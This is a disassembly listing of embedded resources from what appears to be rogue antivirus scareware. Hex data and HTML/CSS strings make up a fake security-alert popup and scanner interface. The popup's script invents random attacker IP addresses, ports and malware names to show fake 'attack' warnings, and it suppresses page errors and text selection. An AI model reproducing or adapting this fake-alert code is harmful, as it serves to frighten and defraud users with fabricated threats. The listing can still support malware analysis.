0B4FA3B76h, 0B134D7EBh dd 77AD0002h, 0B8D86934h, 5AC48B73h, 0B2017685h, 1EEB6F70h dd 0EF22DC4Eh, 1EAFB32Fh, 39BCCE2Dh, 9472E3C5h, 0DD4E9F3Bh dd 0C2805966h, 6EDF6BABh, 0ECD1BA0Fh, 0DF8BC3DCh, 0F9BC7D78h dd 0A3BCF3F3h, 567ECF5Fh, 0DDF0F7FBh, 3F4F8FA9h, 0F8FAFCFCh dd 0CFCFDFA9h, 0FEFEF8BFh, 0F6E200FEh, 9A04805Fh, 534A6036h dd 651E5544h, 0E0B26D43h, 54FE0F41h, 95133314h, 0EB825035h dd 86924844h, 7A3F5F2h, 93B48487h, 3E21860Bh, 0D747C727h dd 86494881h, 4985D2Ah, 0E5D9A88Bh, 560E4661h, 2A4CA1F4h dd 5420A1CAh, 0C688DC5Eh, 0F901C88Fh, 0BE0949E3h, 43914554h dd 8EA4190Ah, 6144BC93h, 0F91E2F89h, 322489C5h, 3D94A4B9h dd 9665493Ah, 0E492524Ah, 0E95E4687h, 8C711224h, 653AA189h dd 9208B9A6h, 0E4994E40h, 89BE4F8Bh, 8E41998Ch, 46962748h dd 89E6B96Ah, 0A7094652h, 592A479Fh, 0BE779CA5h, 548F6133h dd 8D651A26h, 8DF94E88h, 9A02559Fh, 4290A0E8h, 7F9F2949h dd 2925B9BAh, 0E9AA2E96h, 4A5699A7h, 298A8A4h, 94A3A3EAh dd 0AAA9EA9Eh, 667AB29Ch, 0F8DEA788h, 3AB2A3E8h, 0A1A5E92Ah dd 0A829C916h, 66E8D6A9h, 6A56B797h, 5E0B88ABh, 5FABE24Ah dd 24FAFE42h, 1AD6A22Bh, 8CD9FE8h, 9FAE2B6Bh, 0A9A92ABAh dd 2A9B028Ah, 0D4026493h, 4E2BAF2Dh, 149C29EBh, 0B9642AAAh dd 6C7B0A23h, 0BB428A15h, 4ADCAEECh, 989A2EABh, 0B66919B2h dd 2A4BDEEDh, 1B7ECAAAh, 19C783E8h, 0F9B42ABBh, 0BFAD246Eh dd 0AC3B06B1h, 0CB8AB0B5h, 82E6A96Ah, 0EA970CBh, 0BED50C17h dd 0B03C56C0h, 8BAF167Bh, 0CEA1AE5Ch, 0D6B3A9D9h, 302F7AD6h dd 2E9C831Eh, 1C4E99B8h, 7707B158h, 0ADBAAFBAh, 0ABF31C42h dd 0AD7C6B2Ch, 5CDB33C9h, 8716C4ADh, 5B533ACh, 0CFEDB9B7h dd 0F3CCDB20h, 0CD32AC2h, 27BCCE5h, 0E2B5F43Dh, 0BD723D4Ah dd 9F2D2F58h, 5D466682h, 966BB3F5h, 60AFF359h, 9AB2D9D6h dd 0B3BA360Eh, 0CCA2F197h, 0A2E4BF25h, 6E9F71FDh, 95B66C23h dd 279DC262h, 0DDBF46CEh, 9248D7F0h, 62B3B7DDh, 0B3EC3BD2h dd 774DDB88h, 6D9B6C30h, 8F24DAA7h, 11A1A579h, 10FCAEFEh dd 93D2394Bh, 0FA3380B9h, 0F8E6F993h, 3E796778h, 1445ABA0h dd 0E9F7A57Bh, 0D7A93DF9h, 0B0816073h, 0EC7AF64Bh, 0FB3603B4h dd 4B33ADADh, 2A26495Eh, 0A1C53B94h, 8E512B13h, 0BA94BB5Eh dd 0FCA39BD7h, 33AEF034h, 0F0EFCDEFh, 0F4ACCF40h, 0FCBEB338h dd 0AF39DDE1h, 0B7D77A7Bh, 9DF77C78h, 0E6B97F3Fh, 0FFE9A36h dd 48C3E4E1h, 162A3CBAh, 5C85B98Fh, 0BD083982h, 256D76CBh dd 0A9DEB0A1h, 1B789E27h, 7BA5BF6Eh, 8C92DF93h, 0A964B796h dd 638F166Eh, 87270157h, 0EFC9B3C0h, 0DBF24D4Ch, 0A6C4C2B1h dd 4C8A09C2h, 592C402h, 0C43FF7DDh, 774D4DE9h, 5CCC0E7Bh dd 51A6B2E6h, 6B47522Ch, 66C6DE96h, 0D7D6C42h, 96D42E54h dd 2B361F02h, 5269B585h, 0E41A7B54h, 0FCBA3548h, 3E8530BDh dd 4AB06022h, 55A3586h, 0D34565ADh, 63C8759Eh, 0CC759237h dd 0D64B2170h, 0B026269Eh, 0FE114145h, 22B33288h, 43847506h dd 79EAFE2Ch, 1498F2E8h, 7ABE25C9h, 0F0870B95h, 0AD115C72h dd 61C1B0C6h, 0CC6A6B51h, 45FF0299h, 0C431F447h, 1A644427h dd 0C2967B1Bh, 8F71B616h, 199ACC24h, 0A82C88B9h, 0BA86B20Dh dd 8EA0E193h, 55783C81h, 0C34967CFh, 0F69D1516h, 3235A0C6h dd 9C3C3790h, 0A3B2D51Dh, 90120A3Dh, 21A28B7Fh, 24C8A659h dd 7A9471EAh, 0F924D594h, 21B2BE4h, 0BCAD6A2Dh, 68751A19h dd 0AAE250C9h, 0D9CC958Ah, 4A588F25h, 7E051239h, 1B577B8Ah dd 38C038AFh, 2B716D5Ah, 6F04DC4Ch, 0A1FAABE8h, 53076FC9h dd 0C6C4D81Bh, 8AA244A3h, 604BAA7Eh, 0C5681ED8h, 4BCD826Ah dd 32176C53h, 6FC065C7h, 0E06E0969h, 0B6FCD79Ch, 0D77C194h dd 0C97F7A4Fh, 67CC71A4h, 8D1E1A0h, 0E1CCF19Eh, 1AE77CE9h dd 24B1967Ch, 409DACFEh, 81BB72B5h, 52CF41Ah, 3A305EC5h dd 49D2FA2h, 5DFE7C14h, 371A5F51h, 46894FA4h, 151678CFh dd 0F4594691h, 928635D0h, 59134458h, 0C9D256F0h, 7AD22217h dd 45E71519h, 143DB7B9h, 1B50D495h, 15475F15h, 6E8DD2DAh dd 6BE9A6B2h, 4A6F4491h, 0E311953h, 0A93D4044h, 2DD8F046h dd 77106939h, 11605D46h, 0C6B049CFh, 107AA9E1h, 0E72B290Ch dd 2DC0C117h, 74678433h, 0B7F551A2h, 306DFE45h, 20A4D95Eh dd 40784106h, 9D90EE55h, 521FD402h, 0B4414AB1h, 33AB9582h dd 46FAA305h, 9854281h, 94BB66ADh, 0DAF28B98h, 2AED7954h dd 21DC9096h, 33A72311h, 972D218Ch, 0A322CC7Eh, 63C5E7B6h dd 89A1AF2Ah, 752464FDh, 0A6B9D009h, 0A58C6C33h, 96C7565Ah dd 95D51E47h, 2C83195Fh, 0AE16E73Ah, 68528198h, 122CFC0Fh dd 432F6B57h, 5589CB46h, 0A6F4E33Bh, 15C8B456h, 74A8B3D5h dd 0E61154EDh, 0B65A77CEh, 295327B0h, 0CA6B390Fh, 63752DABh dd 26B4FE30h, 0B5A456C7h, 9357065Ch, 0C652EDC6h, 59459B74h dd 93691726h, 452DE5BDh, 75A9C9E9h, 0FBBBAE36h, 6960CF27h dd 0AE59ABDCh, 2D3592B3h, 4F27AF6Ah, 0B4F76DE6h, 0BE2E036Bh dd 0C8DD4B58h, 8A67AE02h, 0B6B51795h, 0D6C6DAABh, 5E0B1B7h dd 0F9B6EEC8h, 742ADB26h, 600C69B3h, 2594E343h, 935352D3h dd 5860660Dh, 0D956754Dh, 6A7277C6h, 62E0D8DDh, 677285Bh dd 96097253h, 0F6CB6D5Bh, 0B87DB4CDh, 1BBC15AAh, 0A15C2583h dd 0A874A300h, 42225514h, 171A8425h, 3623CF67h, 6C9350CEh dd 0E6876347h, 8E40A0F8h, 4C838FCDh, 0F9168C64h, 2F0BC929h dd 0D3C4067Dh, 3CAEB4A6h, 48A94E49h, 9C38CCA5h, 24BC5666h dd 0EB930A5Dh, 210EE4F2h, 130077E4h, 3CA795EAh, 53032E64h dd 2B1CE6C5h, 0D4A9C933h, 8B4E2530h, 57B3836Dh, 154D0ACBh dd 63C3B9CBh dd 0CF32A6F5h, 22B14205h, 6416AA0Ah, 98331FEh, 0D20F5555h dd 6BFBCDC9h, 79CBA1DCh, 0BA12AEE7h, 611BACCCh, 4F2BA971h dd 5377E95Dh, 1174DAEh, 4C43F795h, 2C7DD24Fh, 0CEC3EC5Ch dd 0BEBF433Bh, 0CE0BA4D7h, 4855096Fh, 3AB2C3CBh, 2BF57D62h dd 44D50E4Ch, 504CD34Ch, 5B645C5Ah, 0FF6A3B29h, 8191D17Dh dd 0BB1D6EB5h, 631E167h, 0E47F7811h, 66656A66h, 0ACDE0F61h dd 1D1D99D8h, 66CC01ACh, 0C851D34Bh, 0C0A2A596h, 0F2DFED70h dd 24BE777Eh, 4B64AFBEh, 6B6FEA08h, 0A6DBC2F7h, 0B96BB46Dh dd 0FBA2E7C6h, 0AFB586C2h, 51559518h, 0B7399323h, 245A76A7h dd 576DFAF9h, 0FC94FB07h, 7A92F4Dh, 8B75B4ABh, 56DEDF7Bh dd 4A43B0AFh, 0F7D21743h, 65B5A0D3h, 4C04374Fh, 84354563h dd 53B6570Eh, 6FB78CEDh, 745579C6h, 3B9BEA4Dh, 0BF104D0Eh dd 0ABD7ED5h, 0BF5C8F7h, 79EF3762h, 97671848h, 68593359h dd 0B4104ACDh, 6EE6454Ch, 0EF583305h, 87B3E0DDh, 5C50E0FAh dd 0DD3DFC87h, 6E7DA40h, 28FAFA01h, 0BB1B5E07h, 39B9C6FCh dd 7EA4577Ah, 0D4BBAAE4h, 278F58EAh, 0F5CEB3D5h, 0EBFD7716h dd 0D83A7968h, 52942EC7h, 68EC9D6Ch, 120290F7h, 1BB6F69Ah dd 776C07C7h, 68EFDCBBh, 0FDCFB105h, 41E920EEh, 0F7C1CE3Ah dd 0EFFDFBBEh, 0E0BC0F80h, 0C2F84F07h, 0D1CBE1Bh, 3B000048h dd 6D74683Ch, 0A0D3E6Ch, 6165683Ch, 0A0D3E64h, 7263733Ch dd 20747069h, 3D637273h, 2F534A22h, 6C6D7448h, 746E6F43h dd 2E6C6F72h, 3E22736Ah, 63732F3Ch, 74706972h, 3C0A0D3Eh dd 69726373h, 74207470h, 3D657079h, 78657422h, 616A2F74h dd 63736176h, 74706972h, 0A0D3E22h, 65747865h, 6C616E72h dd 6F68532Eh, 72272877h, 74686769h, 74746F62h, 2C276D6Fh dd 35383220h, 3832202Ch, 203B2930h, 0D202020h, 636F640Ah dd 6E656D75h, 6E6F2E74h, 656C6573h, 74737463h, 20747261h dd 200A0D3Dh, 66202020h, 74636E75h, 206E6F69h, 7B202928h dd 74657220h, 206E7275h, 736C6166h, 7D203B65h, 660A0D3Bh dd 74636E75h, 206E6F69h, 72456F6Eh, 28726F72h, 65727B29h dd 6E727574h, 75727420h, 0D7D3B65h, 6E69770Ah, 2E776F64h dd 72656E6Fh, 20726F72h, 6F6E203Dh, 6F727245h, 0A0D3B72h dd 20202020h, 75660A0Dh, 6974636Eh, 73206E6Fh, 6E497465h dd 29286F66h, 0D7B0A0Dh, 616E090Ah, 2073656Dh, 275B203Dh dd 336E6957h, 754E2F32h, 2E6C6571h, 202C2745h, 6E614227h dd 4672656Bh, 412E786Fh, 27202C27h, 336E6957h, 72472E32h dd 2E736D61h, 3B5D2749h, 69090A0Dh, 3D203170h, 72617020h dd 6E496573h, 37312874h, 614D2A30h, 722E6874h, 6F646E61h dd 2929286Dh, 3B30382Bh, 69090A0Dh, 3D203270h, 72617020h dd 6E496573h, 35322874h, 614D2A35h, 722E6874h, 6F646E61h dd 2929286Dh, 90A0D3Bh, 20337069h, 6170203Dh, 49657372h dd 3228746Eh, 4D2A3535h, 2E687461h, 646E6172h, 29286D6Fh dd 0A0D3B29h, 34706909h, 70203D20h, 65737261h, 28746E49h dd 2A353532h, 6874614Dh, 6E61722Eh, 286D6F64h, 0D3B2929h dd 0A0D090Ah, 636F6409h, 6E656D75h, 65672E74h, 656C4574h dd 746E656Dh, 64497942h, 70692728h, 692E2927h, 72656E6Eh dd 4C4D5448h, 69203D20h, 272B3170h, 692B272Eh, 272B3270h dd 692B272Eh, 272B3370h, 692B272Eh, 203B3470h, 64090A0Dh dd 6D75636Fh, 2E746E65h, 45746567h, 656D656Ch, 7942746Eh dd 27286449h, 726F7073h, 2E292774h, 656E6E69h, 4D544872h dd 203D204Ch, 73726170h, 746E4965h, 35353628h, 4D2A3533h dd 2E687461h, 646E6172h, 29286D6Fh, 0D203B29h, 6F64090Ah dd 656D7563h, 672E746Eh, 6C457465h, 6E656D65h, 49794274h dd 64272864h, 74726F70h, 692E2927h, 72656E6Eh, 4C4D5448h dd 70203D20h, 65737261h, 28746E49h, 33353536h, 614D2A35h dd 722E6874h, 6F646E61h, 2929286Dh, 90A0D3Bh, 75636F64h dd 746E656Dh, 7465672Eh, 6D656C45h, 42746E65h, 28644979h dd 72687427h, 27746165h, 6E692E29h, 4872656Eh, 204C4D54h dd 616E203Dh, 5B73656Dh, 73726170h, 746E4965h, 616E2828h dd 2E73656Dh, 676E656Ch, 312D6874h, 614D2A29h, 722E6874h dd 6F646E61h, 2929286Dh, 0A0D3B5Dh, 3C0A0D7Dh, 7263732Fh dd 3E747069h, 2F3C0A0Dh, 64616568h, 3C0A0D3Eh, 79646F62h dd 79747320h, 223D656Ch, 7265766Fh, 776F6C66h, 6469683Ah dd 3B6E6564h, 6772616Dh, 303A6E69h, 6461703Bh, 676E6964h dd 623B303Ah, 676B6361h, 6E756F72h, 72753A64h, 6E27286Ch dd 6C617465h, 2E747265h, 27666967h, 6F6E2029h, 7065722Dh dd 3B746165h, 0A0D3E22h, 7669643Ch, 79747320h, 223D656Ch dd 69736F70h, 6E6F6974h, 7362613Ah, 74756C6Fh, 6F743B65h dd 35313A70h, 3B787035h, 7466656Ch, 7039313Ah, 69773B78h dd 3A687464h, 70303532h, 65683B78h, 74686769h, 7030353Ah dd 6F663B78h, 732D746Eh, 3A657A69h, 78703131h, 6E6F663Bh dd 61662D74h, 796C696Dh, 7265563Ah, 616E6164h, 6E61732Ch dd 65732D73h, 3B666972h, 656E696Ch, 6965682Dh, 3A746867h dd 3B342E31h, 74413E22h, 6B636174h, 6F726620h, 3C203A6Dh dd 6E617073h, 3D646920h, 27706927h, 732F3C3Eh, 3E6E6170h dd 6F70202Ch, 3C207472h, 6E617073h, 3D646920h, 6F707327h dd 3E277472h, 70732F3Ch, 3C3E6E61h, 3E2F7262h, 61747441h dd 64656B63h, 726F7020h, 3C203A74h, 6E617073h, 3D646920h dd 6F706427h, 3E277472h, 70732F3Ch, 3C3E6E61h, 3E2F7262h dd 65726854h, 203A7461h, 6170733Ch, 6469206Eh, 6874273Dh dd 74616572h, 2F3C3E27h, 6E617073h, 642F3C3Eh, 0D3E7669h dd 69643C0Ah, 74732076h, 3D656C79h, 72756322h, 3A726F73h dd 646E6168h, 736F703Bh, 6F697469h, 62613A6Eh, 756C6F73h dd 743B6574h, 323A706Fh, 78703035h, 66656C3Bh, 38343A74h dd 773B7870h, 68746469h, 7038383Ah, 65683B78h, 74686769h dd 7031323Ah, 20223B78h, 6C636E6Fh, 3D6B6369h, 74786522h dd 616E7265h, 73662E6Ch, 74754274h, 436E6F74h, 6B63696Ch dd 223B2928h, 642F3C3Eh, 0D3E7669h, 69643C0Ah, 74732076h dd 3D656C79h, 72756322h, 3A726F73h, 646E6168h, 736F703Bh dd 6F697469h, 62613A6Eh, 756C6F73h, 743B6574h, 323A706Fh dd 78703035h, 66656C3Bh, 34313A74h, 3B787035h, 74646977h dd 38383A68h, 683B7870h, 68676965h, 31323A74h, 223B7870h dd 636E6F20h, 6B63696Ch, 7865223Dh, 6E726574h, 432E6C61h dd 65736F6Ch, 3E222928h, 69642F3Ch, 0A0D3E76h, 6F622F3Ch dd 0D3E7964h, 682F3C0Ah, 3E6C6D74h, 0A0Dh, 0 aHtmlHeadScript db '<html>',0Dh,0Ah db '<head>',0Dh,0Ah db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah db '<script type="text/javascript">',0Dh,0Ah db 'external.Show(',27h,'center',27h,', 541, 376);',0Dh,0Ah db 'document.onselectstart =',0Dh,0Ah db ' function () { return false; };',0Dh,0Ah db 'function noError(){return true;}',0Dh,0Ah db 'window.onerror = noError;',0Dh,0Ah db ' ',0Dh,0Ah db '</script>',0Dh,0Ah db '</head>',0Dh,0Ah db '<body style="overflow:hidden;margin:0;padding:0;background:url(',27h db 'bigalert.gif',27h,') no-repeat;">',0Dh,0Ah db '<div onclick="document.getElementById(',27h,'minihelp',27h,').style.dis' db 'play=',27h,'block',27h,';" onmouseout="document.getElementById(',27h,'mini' db 'help',27h,').style.display=',27h,'none',27h,';" style="cursor:hand;positio' db 'n:absolute;top:220px;left:48px;width:192px;height:19px;"></div>',0Dh db 0Ah db '<div style="cursor:hand;position:absolute;top:335px;left:77px;wid' db 'th:198px;height:21px;" onclick="external.fstButtonClick();"></div' db '>',0Dh,0Ah db '<div style="cursor:hand;position:absolute;top:335px;left:285px;wi' db 'dth:198px;height:21px;" onclick="external.Close();"></div>',0Dh,0Ah db '<div id="minihelp" style="display:none;background: url(',27h,'smalla' db 'lert.gif',27h,') no-repeat;position:absolute;top:235px;left:10px;wid' db 'th:439px;height:112px;"></div>',0Dh,0Ah db '</body>',0Dh,0Ah db '</html>',0 align 10h aHtmlHeadStyleT db '<html>',0Dh,0Ah db '<head>',0Dh,0Ah db '<style type="text/css">',0Dh,0Ah db '<!--',0Dh,0Ah db 'body {',0Dh,0Ah db ' overflow:hidden; ',0Dh,0Ah db ' margin:0;',0Dh,0Ah db ' padding:0;',0Dh,0Ah db ' cursor:default;',0Dh,0Ah db '}',0Dh,0Ah db '#headerBlock {width:940px;height:108px;background:url(header-bg.g' db 'if) no-repeat center top;}',0Dh,0Ah db '.logoBlock {',0Dh,0Ah db ' width:50%;',0Dh,0Ah db ' height:80px;',0Dh,0Ah db ' padding-top:20px;',0Dh,0Ah db ' background:url(logo-icon.gif) no-repeat 15px 22px;',0Dh,0Ah db ' vertical-align:middle;',0Dh,0Ah db '}',0Dh,0Ah db '.logoBlock .logo, .logoSlogan {',0Dh,0Ah db ' padding:0 0 0 70px; ',0Dh,0Ah db '}',0Dh,0Ah db '.logo {',0Dh,0Ah db ' font-size:24px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#fff; ',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.logoYear {',0Dh,0Ah db ' font-size:24px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#e6ecb5;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.logoSlogan {',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-style:italic;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#fff;',0Dh,0Ah db '}',0Dh,0Ah db '.contentBlock-rightColumn {',0Dh,0Ah db 9,'position: absolute;',0Dh,0Ah db 9,'top: 108px;',0Dh,0Ah db 9,'left: 249px;',0Dh,0Ah db ' width:691px;',0Dh,0Ah db ' height:475px;',0Dh,0Ah db ' background:url(content-rigthColumn-bg.gif) no-repeat right to' db 'p;',0Dh,0Ah db ' padding: 0 10px 0 0;',0Dh,0Ah db '}',0Dh,0Ah db '.rightColumnPadding {',0Dh,0Ah db 9,'padding:25px 0 0 14px;',0Dh,0Ah db '}',0Dh,0Ah db '.contentHeader {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' height:40px;',0Dh,0Ah db ' background:url(content-header-bg.gif) no-repeat center top;',0Dh db 0Ah db '}',0Dh,0Ah db '.contentHeaderPadding-tab {',0Dh,0Ah db ' padding:0 0 0 10px;',0Dh,0Ah db '}',0Dh,0Ah db '.verticalAlignMiddle {',0Dh,0Ah db ' vertical-align:middle;',0Dh,0Ah db '}',0Dh,0Ah db '.marginHeaderIcon {',0Dh,0Ah db ' margin:2px 0 0 0;',0Dh,0Ah db '}',0Dh,0Ah db '.contentHeader span {',0Dh,0Ah db ' font-size:20px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#fff;',0Dh,0Ah db '}',0Dh,0Ah db '.currentState {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' height:80px;',0Dh,0Ah db ' background:url(currentState-bg.gif) no-repeat center top;',0Dh,0Ah db ' margin:9px 0 0 0;',0Dh,0Ah db '}',0Dh,0Ah db '.currentStatePadding {',0Dh,0Ah db ' padding:7px 0 0 10px;',0Dh,0Ah db '}',0Dh,0Ah db '.sigVerPadding {',0Dh,0Ah db ' padding:0 8px 0 0;',0Dh,0Ah db '}',9,0Dh,0Ah db '.verticalAlignTop {',0Dh,0Ah db ' vertical-align:top;',0Dh,0Ah db '}',0Dh,0Ah db '.currentState span {',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#4e4e4e; ',0Dh,0Ah db '}',0Dh,0Ah db '.currentState .green {',0Dh,0Ah db ' color:#578427; ',0Dh,0Ah db '}',0Dh,0Ah db '.scanPath {',0Dh,0Ah db ' height:50px;',0Dh,0Ah db ' background:url(scan-path-bg.gif) no-repeat center center;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanPathTable {',0Dh,0Ah db ' width:630px;',0Dh,0Ah db ' height:30px;',0Dh,0Ah db ' table-layout: fixed;',0Dh,0Ah db ' margin:0 0 0 12px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanPathIconTd {',0Dh,0Ah db ' width:21px; ',0Dh,0Ah db ' text-align:center;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '#filename {',0Dh,0Ah db ' width:100%; ',0Dh,0Ah db ' behavior:path;',0Dh,0Ah db ' overflow-x:hidden;',0Dh,0Ah db ' white-space:nowrap;',0Dh,0Ah db ' text-overflow:ellipsis;',0Dh,0Ah db ' color:#4e4e4e;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanPathTotal {',0Dh,0Ah db ' width:77px;',0Dh,0Ah db ' overflow-x:hidden;',0Dh,0Ah db ' padding:0 0 0 3px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.threatsTotal {',0Dh,0Ah db ' width:97px;',0Dh,0Ah db ' overflow-x:hidden;',0Dh,0Ah db ' padding:0 0 0 3px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanPathTotalTd {',0Dh,0Ah db ' width:84px;',0Dh,0Ah db ' background:url(scan-path-total-bg.gif) no-repeat center cente' db 'r;',0Dh,0Ah db '}',0Dh,0Ah db '.threatsTotalTd {',0Dh,0Ah db ' width:104px;',0Dh,0Ah db ' background:url(threats-total-bg.gif) no-repeat center center;' db 0Dh,0Ah db '}',0Dh,0Ah db '.totalText {',0Dh,0Ah db ' font-size:10px!important;',0Dh,0Ah db ' white-space:nowrap; ',0Dh,0Ah db '}',0Dh,0Ah db '.dataStat {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' height:80px;',0Dh,0Ah db ' background:url(currentState-bg.gif) no-repeat center top;',0Dh,0Ah db ' margin:9px 0 0 0;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.dataStatPadding {',0Dh,0Ah db ' padding:7px 0 0 10px;',0Dh,0Ah db 0Dh,0Ah db '}',0Dh,0Ah db '.dataStat span {',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#4e4e4e;',0Dh,0Ah db '}',0Dh,0Ah db '.dataStat .green, .tabTextBg .green {',0Dh,0Ah db ' color:#578427;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db '}',0Dh,0Ah db '.dataStat .blue, .tabTextBg .blue {',0Dh,0Ah db ' color:#68a4ae;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db '}',0Dh,0Ah db '.dataStat .lt-grey, .tabTextBg .lt-grey {',0Dh,0Ah db ' font-size:11px;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#bfbfbf;',0Dh,0Ah db '}',0Dh,0Ah db '.rezultTableHead {',0Dh,0Ah db ' margin:4px 0 0 0;',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' height:26px;',0Dh,0Ah db ' background:url(rezult-table-head-bg.gif) no-repeat left cente' db 'r;',0Dh,0Ah db 0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableHeadCell1{',0Dh,0Ah db ' width:138px; ',0Dh,0Ah db ' border-right:1px solid #dadada;',0Dh,0Ah db ' overflow:hidden;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db '.rezultTableHeadCell2{',0Dh,0Ah db ' width:93px;',0Dh,0Ah db ' border-right:1px solid #dadada;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableHeadCell3{',0Dh,0Ah db ' width:100%%;',0Dh,0Ah db ' padding:0 17px 0 0;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTablePath {',0Dh,0Ah db ' height:17px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db '#scrollRezultTable {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' height:129px;',0Dh,0Ah db ' background:url(rezult-table-bg.gif) no-repeat left top;',0Dh,0Ah db 9,'background-position-y: expression(this.scrollTop);',0Dh,0Ah db ' overflow-x:hidden;',0Dh,0Ah db ' overflow-y:scroll;',9,0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTable {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' table-layout: fixed;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTable td {',0Dh,0Ah db 9,'text-overflow:ellipsis;',0Dh,0Ah db 9,'overflow:hidden;',0Dh,0Ah db 9,'white-space:nowrap;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableHead span {',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#4e4e4e;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableCell1 {',0Dh,0Ah db 9,'height:26px;',0Dh,0Ah db 9,'width:145px;',0Dh,0Ah db ' aborder-right:1px solid #dadada;',0Dh,0Ah db '}',0Dh,0Ah db '.rezultTableCell2 {',0Dh,0Ah db 9,'height:26px;',0Dh,0Ah db 9,'width:100px;',0Dh,0Ah db ' aborder-right:1px solid #dadada;',0Dh,0Ah db '}',0Dh,0Ah db '.rezultTableCell3 {',0Dh,0Ah db 9,'height:26px;',0Dh,0Ah db 9,'width:100%;',0Dh,0Ah db ' aborder-right:1px solid #dadada;',0Dh,0Ah db '}',0Dh,0Ah db '.rezultTableCell1 div {',0Dh,0Ah db ' font-size:13px;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#00649c;',0Dh,0Ah db ' overflow:hidden;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableCell2 div {',0Dh,0Ah db ' font-size:13px;',0Dh,0Ah db ' font-style:italic;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#4e4e4e;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' overflow:hidden;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableCell3 div, .color1, .color2, .color3, .color4 {',0Dh,0Ah db ' font-size:13px;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#595959;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' overflow:hidden;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableCell3 a:link, .rezultTableCell3 a:visited, .rezultTab' db 'leCell3 a:hover, .rezultTableCell3 a:active',0Dh,0Ah db '{',0Dh,0Ah db ' color:#595959; ',0Dh,0Ah db 9,'border: none;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTableCell3 .color1 { /* Text Color for Status cell! */',0Dh db 0Ah db ' color:#7c4f19!important; ',0Dh,0Ah db '}',0Dh,0Ah db '.rezultTable div, .rezultTableHead span {',0Dh,0Ah db ' padding:0 0 0 5px;',0Dh,0Ah db 0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTable td {',0Dh,0Ah db ' overflow:hidden;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.rezultTable tr {',0Dh,0Ah db ' height:20px;',0Dh,0Ah db '}',0Dh,0Ah db '.textAlignRight {',0Dh,0Ah db ' text-align:right;',0Dh,0Ah db '}',0Dh,0Ah db '.scanProgress {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' height:56px;',0Dh,0Ah db ' background:url(scan-progress-bg.gif) no-repeat center top;',0Dh,0Ah db ' margin:9px 0 0 0;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanProgress span {',0Dh,0Ah db 'color:#4E4E4E;',0Dh,0Ah db 'font-family:Verdana,sans-serif;',0Dh,0Ah db 'font-size:12px;',0Dh,0Ah db 'font-weight:bold;',0Dh,0Ah db '}',0Dh,0Ah db '.scanProgressPadding {',0Dh,0Ah db ' padding:0 0 0 10px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanProgressComplPadding {',0Dh,0Ah db ' padding:0 7px 0 0;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.scanProgressTopRow {',0Dh,0Ah db ' height:25px;',0Dh,0Ah db '}',0Dh,0Ah db '.scanProgress span {',0Dh,0Ah db ' font-weight:bold; ',0Dh,0Ah db 